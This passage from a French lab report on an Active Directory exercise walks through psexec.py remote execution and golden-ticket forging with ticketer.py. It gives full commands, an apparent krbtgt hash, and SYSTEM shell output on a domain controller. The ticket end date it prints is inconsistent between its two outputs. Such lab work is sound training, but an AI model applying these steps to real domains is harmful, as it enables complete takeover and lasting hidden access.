La présence et l'accessibilité du partage ADMIN\$ au point 3.9 indiquaient donc que l'administration à distance via psexec.py serait possible. La sortie de psexec.py confirme cette analyse :

```
[*] Found writable share ADMIN$
[*] Uploading file zSpAyoZ.exe
[*] Creating service QAzJ on 10.190.134.13
```

12.2 P34: Quelle identité avez-vous dans votre session psexec ? ☉

Dans la session psexec, nous avons l'identité **NT AUTHORITY\SYSTEM** (SID: S-1-5-18).

C'est le compte système local de Windows, qui possède des privilèges encore plus élevés que le compte Administrator. SYSTEM est le compte sous lequel s'exécutent les services Windows critiques et le noyau du système d'exploitation.

Bien que nous nous soyons connectés avec le compte **Administrator**, psexec.py crée un service Windows sur la machine cible pour exécuter notre shell. Les services Windows s'exécutent par défaut sous l'identité SYSTEM, d'où notre identité finale.

12.3 P35: Avec quel niveau d'intégrité s'exécute votre session psexec ? ☉

La session psexec s'exécute avec le niveau d'intégrité **System Mandatory Level** (SID: S-1-16-16384).

C'est le niveau d'intégrité le plus élevé dans Windows, au-dessus de :

- **High Mandatory Level** (S-1-16-12288) : utilisé par les processus administrateurs
- **Medium Mandatory Level** (S-1-16-8192) : utilisé par les processus utilisateurs standard
- **Low Mandatory Level** (S-1-16-4096) : utilisé par les processus en bac à sable

Le niveau System est réservé aux processus système critiques et aux services Windows. Avec ce niveau d'intégrité, notre session peut accéder à toutes les ressources du système sans restriction, y compris celles protégées contre les administrateurs normaux.

13 Golden ticket

Réalisation :

Gagner la persistance en réutilisant les secrets découverts au point 3.10 pour construire un ticket d'or (golden ticket). Utiliser ticketer.py pour générer le ticket et psexec.py pour le tester.

Générer un ticket d'or :

```
ticketer.py -debug -nthash <hash> -domain-sid <domain SID> -domain <domain> -dc-ip <DC ip> <sos-exy username>
```

Tester le ticket d'or :

```
export KRB5CCNAME=<sos-exy username>.ccache
psexec.py <domain>/<user>@<DC FQDN> -dc-ip <DC ip> -k -no-pass
```

Vérifier l'identité, les groupes et les privilèges de la session :

```
whoami /user
whoami /groups
whoami /priv
```

Génération du Golden ticket

```
IICT-MV473-UbuntuServerSOS24% ticketer.py -debug -nthash 5f18d4679d455ea67ef09aab104e766c -domain-sid S-1-5-21-4201873219-205740982-4205070342 -domain SECURE.com -dc-ip 10.190.134.13 atrusionsos10
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

```
[+] Impacket Library Installation Path: /usr/local/lib/python3.10/dist-packages/impacket
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SECURE.com/atrusionsos10
[+] VALIDATION_INFO after making it gold
[...]
[+] Final Golden Ticket
AS_REP:
pvno=5
msg-type=11
crealm=SECURE.COM
cname=PrincipalName:
name-type=1
name-string=SequenceOf:
    atrusionsos10

ticket=Ticket:
    tkt-vno=5
```

```

realm=SECURE.COM
sname=PrincipalName:
name-type=2
name-string=SequenceOf:
    krbtgt
    SECURE.COM
[...]
authtime=20251213173707Z
starttime=20251213173707Z
endtime=20251211173707Z
renew-till=20251211173707Z
[...]
[*] Saving ticket in atrusionsos10.ccache

```

Test du Golden ticket

```
IICT-MV473-UbuntuServerSOS24% export KRB5CCNAME=atrusionsos10.ccache
```

```
IICT-MV473-UbuntuServerSOS24% psexec.py SECURE.com/atrusionsos10@DC01.SECURE.com -dc-ip 10.190.134.13
-k -no-pass
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

```

[*] Requesting shares on DC01.SECURE.com.....
[*] Found writable share ADMIN$
[*] Uploading file YGKKEpHr.exe
[*] Opening SVCManager on DC01.SECURE.com.....
[*] Creating service Shrv on DC01.SECURE.com.....
[*] Starting service Shrv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

```

```
C:\Windows\system32> whoami /user
```

USER INFORMATION

```

User Name          SID
=====
nt authority\system S-1-5-18

```

```
C:\Windows\system32> whoami /groups
```

GROUP INFORMATION

Group Name	Type	SID	Attributes
BUILTIN\Administrators	Alias	S-1-5-32-544	Enabled by default, Enabled group,
Group owner			
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by
default, Enabled group			
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by
default, Enabled group			

Mandatory Label\System Mandatory Level Label S-1-16-16384

C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION

Privilege Name	Description
State	
SeAssignPrimaryTokenPrivilege	Replace a process level token
Disabled	
SeLockMemoryPrivilege	Lock pages in memory
Enabled	
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process
Disabled	
SeTcbPrivilege	Act as part of the operating system
Enabled	
SeSecurityPrivilege	Manage auditing and security log
Disabled	
SeTakeOwnershipPrivilege	Take ownership of files or other objects
Disabled	
SeLoadDriverPrivilege	Load and unload device drivers
Disabled	
SeSystemProfilePrivilege	Profile system performance
Enabled	
SeSystemtimePrivilege	Change the system time
Disabled	
SeProfileSingleProcessPrivilege	Profile single process
Enabled	
SeIncreaseBasePriorityPrivilege	Increase scheduling priority
Enabled	
SeCreatePagefilePrivilege	Create a pagefile
Enabled	
SeCreatePermanentPrivilege	Create permanent shared objects
Enabled	
SeBackupPrivilege	Back up files and directories
Disabled	
SeRestorePrivilege	Restore files and directories
Disabled	
SeShutdownPrivilege	Shut down the system
Disabled	
SeDebugPrivilege	Debug programs
Enabled	
SeAuditPrivilege	Generate security audits
Enabled	
SeSystemEnvironmentPrivilege	Modify firmware environment values
Disabled	
SeChangeNotifyPrivilege	Bypass traverse checking
Enabled	
SeUndockPrivilege	Remove computer from docking station
Disabled	
SeManageVolumePrivilege	Perform volume maintenance tasks
Disabled	
SeImpersonatePrivilege	Impersonate a client after authentication

```

Enabled
SeCreateGlobalPrivilege          Create global objects
Enabled
SeIncreaseWorkingSetPrivilege    Increase a process working set
Enabled
SeTimeZonePrivilege             Change the time zone
Enabled
SeCreateSymbolicLinkPrivilege    Create symbolic links
Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same
session Enabled

C:\Windows\system32>

```

13.1 P36: D'où vient le sos-exy username indiqué pour la génération du ticket d'or ?

Le sos-exy username (dans notre cas `atrusionsos10`) est simplement le nom d'utilisateur que nous voulons **usurper** (impersonate) dans le Golden ticket.

C'est l'identité que nous allons forger - le Golden ticket nous permet de prétendre être n'importe quel utilisateur du domaine, même s'il n'existe pas réellement. Dans ce labo, nous utilisons notre propre nom d'utilisateur assigné (`atrusionsos10`), mais nous aurions pu choisir n'importe quel nom :

- Un compte existant (Administrator, jcode, etc.)
- Un compte qui n'existe pas (superfakeadmin)
- Un compte désactivé ou supprimé

Le Golden ticket nous donne un contrôle total sur l'identité forgée car nous possédons le hash du compte **krbtgt**, qui est la clé de signature de tous les tickets Kerberos du domaine.

13.2 P37: Combien de temps est valable le ticket d'or ? ☹

Le Golden ticket est valable pendant **10 ans** par défaut.

Dans la sortie de `ticketer.py`, on peut voir :

```

authtime=20251213173707Z
starttime=20251213173707Z
endtime=20351211173707Z
renew-till=20351211173707Z

```

Le ticket a été créé le 13 décembre 2025 et expire le 11 décembre 2035. Cette durée de validité exceptionnellement longue est l'une des caractéristiques qui rend le Golden ticket si dangereux pour la persistance :

- Contrairement aux tickets TGT normaux (valables 10 heures)
- Contrairement aux Silver tickets (limités à un service spécifique)
- Le Golden ticket reste valide pendant une décennie, même si :
 - Le mot de passe du compte usurpé est changé
 - Le compte est désactivé ou supprimé
 - Les seules façons de l'invalidier sont de changer le mot de passe du compte **krbtgt** (2 fois à cause du cache) ou de refaire tout le domaine

13.3 P38: Quel est l'utilisateur de votre session ? ☹

L'utilisateur de la session est **NT AUTHORITY\SYSTEM** (SID: S-1-5-18), identique à la session obtenue au point 3.11.

Même si notre Golden ticket forge l'identité d'**atrusionsos10**, la session finale est SYSTEM car psexec.py fonctionne en :

1. Utilisant le Golden ticket pour s'authentifier au DC
2. Créant un service Windows sur la cible (visible dans la sortie : "Creating service Shrv")
3. Démarrant ce service pour obtenir un shell

Les services Windows s'exécutent par défaut avec les privilèges SYSTEM, d'où notre identité finale. C'est le même mécanisme qu'au point 3.11, sauf que cette fois l'authentification Kerberos initiale utilise notre Golden ticket forgé au lieu du hash Administrator.